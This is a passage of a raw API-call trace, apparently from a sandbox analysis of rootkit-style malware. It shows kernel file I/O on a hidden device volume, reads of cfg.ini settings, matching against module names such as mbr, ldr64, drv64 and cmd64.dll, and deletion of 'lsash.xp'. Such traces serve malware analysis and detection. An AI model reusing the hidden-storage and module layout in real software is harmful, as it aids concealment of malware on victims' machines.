FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.186] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.186] KeLeaveCriticalRegion () [0122.186] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.186] KeEnterCriticalRegion () [0122.186] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.186] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.186] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.186] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.186] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.186] IdePortDispatch () returned 0x103 [0122.186] KeWaitForMutexObject () returned 0x0 [0122.186] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.186] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.186] KeLeaveCriticalRegion () [0122.186] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.186] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.186] KeEnterCriticalRegion () [0122.186] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.187] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c47000 [0122.187] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.187] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.187] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.187] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.187] IdePortDispatch () returned 0x103 [0122.187] KeWaitForMutexObject () returned 0x0 [0122.187] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.187] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.187] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.187] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.187] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.187] IdePortDispatch () returned 0x103 [0122.187] KeWaitForMutexObject () returned 0x0 [0122.187] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.187] KeLeaveCriticalRegion () [0122.187] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.188] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.188] KeEnterCriticalRegion () [0122.188] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.188] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.188] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.188] KeLeaveCriticalRegion () [0122.188] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.188] KeEnterCriticalRegion () [0122.188] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.188] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.188] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be38c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.188] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.188] KeLeaveCriticalRegion () [0122.188] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.188] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.188] KeEnterCriticalRegion () [0122.188] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.188] ExFreePoolWithTag (P=0xfffffa8003be35a0, Tag=0x0) [0122.188] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.188] KeLeaveCriticalRegion () [0122.188] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.188] ReleaseMutex (hMutex=0xf0) returned 1 [0122.188] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.188] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0122.188] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.188] KeEnterCriticalRegion () [0122.188] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.188] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.188] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.188] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.188] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.188] IdePortDispatch () returned 0x103 [0122.188] KeWaitForMutexObject () returned 0x0 [0122.189] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.189] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.189] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.189] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.189] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.189] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be3e10 [0122.189] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.189] KeLeaveCriticalRegion () [0122.189] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.189] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.189] KeEnterCriticalRegion () [0122.189] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.189] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.189] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.189] KeLeaveCriticalRegion () [0122.189] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.189] KeEnterCriticalRegion () [0122.189] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.189] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.189] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.189] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.189] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.189] IdePortDispatch () returned 0x103 [0122.189] KeWaitForMutexObject () returned 0x0 [0122.189] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.189] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.189] KeLeaveCriticalRegion () [0122.189] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.189] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.189] KeEnterCriticalRegion () [0122.189] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.189] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c48000 [0122.189] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.189] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.189] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.189] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.189] IdePortDispatch () returned 0x103 [0122.190] KeWaitForMutexObject () returned 0x0 [0122.190] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.190] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.190] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.190] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.190] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.190] IdePortDispatch () returned 0x103 [0122.190] KeWaitForMutexObject () returned 0x0 [0122.190] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.190] KeLeaveCriticalRegion () [0122.190] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.190] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.190] KeEnterCriticalRegion () [0122.191] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.191] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.191] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.191] KeLeaveCriticalRegion () [0122.191] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.191] KeEnterCriticalRegion () [0122.191] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.191] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.191] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be3ed0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.191] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.191] KeLeaveCriticalRegion () [0122.191] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.191] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.191] KeEnterCriticalRegion () [0122.191] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.191] ExFreePoolWithTag (P=0xfffffa8003be3e10, Tag=0x0) [0122.191] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.191] KeLeaveCriticalRegion () [0122.191] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.191] ReleaseMutex (hMutex=0xf0) returned 1 [0122.191] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0122.191] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0122.191] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0122.191] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.191] KeEnterCriticalRegion () [0122.191] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.191] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.191] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.191] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.191] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.191] IdePortDispatch () returned 0x103 [0122.191] KeWaitForMutexObject () returned 0x0 [0122.192] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.192] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.192] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.192] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.192] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.192] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.192] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.192] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.192] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.192] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.192] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.192] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.192] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.192] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.192] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.192] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.192] KeLeaveCriticalRegion () [0122.192] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.192] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0122.192] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.192] KeEnterCriticalRegion () [0122.192] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.192] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.192] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.192] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.192] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.192] IdePortDispatch () returned 0x103 [0122.192] KeWaitForMutexObject () returned 0x0 [0122.192] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.192] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.192] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.192] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.192] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.193] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.193] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.193] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.193] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.193] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.193] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.193] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.193] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.193] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.193] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.193] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.193] KeLeaveCriticalRegion () [0122.193] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.193] ReleaseMutex (hMutex=0x100) returned 1 [0122.193] Sleep (dwMilliseconds=0x2bf20) [0122.199] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6c078a30, dwHighDateTime=0x1d24fa4)) [0122.199] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0122.199] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.199] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.199] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.199] KeEnterCriticalRegion () [0122.199] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.199] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.199] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.199] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.199] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.199] IdePortDispatch () returned 0x103 [0122.199] KeWaitForMutexObject () returned 0x0 [0122.199] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.200] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.200] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.200] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.200] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.200] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be3550 [0122.200] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.200] KeLeaveCriticalRegion () [0122.200] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.200] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.200] KeEnterCriticalRegion () [0122.200] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.200] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.200] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.200] KeLeaveCriticalRegion () [0122.200] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.200] KeEnterCriticalRegion () [0122.200] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.200] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.200] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.200] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.200] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.200] IdePortDispatch () returned 0x103 [0122.200] KeWaitForMutexObject () returned 0x0 [0122.200] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.200] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.200] KeLeaveCriticalRegion () [0122.200] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.200] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.200] KeEnterCriticalRegion () [0122.200] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.200] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c4b000 [0122.200] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.200] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.200] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.200] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.200] IdePortDispatch () returned 0x103 [0122.201] KeWaitForMutexObject () returned 0x0 [0122.201] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.201] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.201] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.201] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.201] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.201] IdePortDispatch () returned 0x103 [0122.201] KeWaitForMutexObject () returned 0x0 [0122.201] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.201] KeLeaveCriticalRegion () [0122.201] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.201] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.201] KeEnterCriticalRegion () [0122.201] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.201] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.202] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.202] KeLeaveCriticalRegion () [0122.202] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.202] KeEnterCriticalRegion () [0122.202] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.202] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.202] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be4dc0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 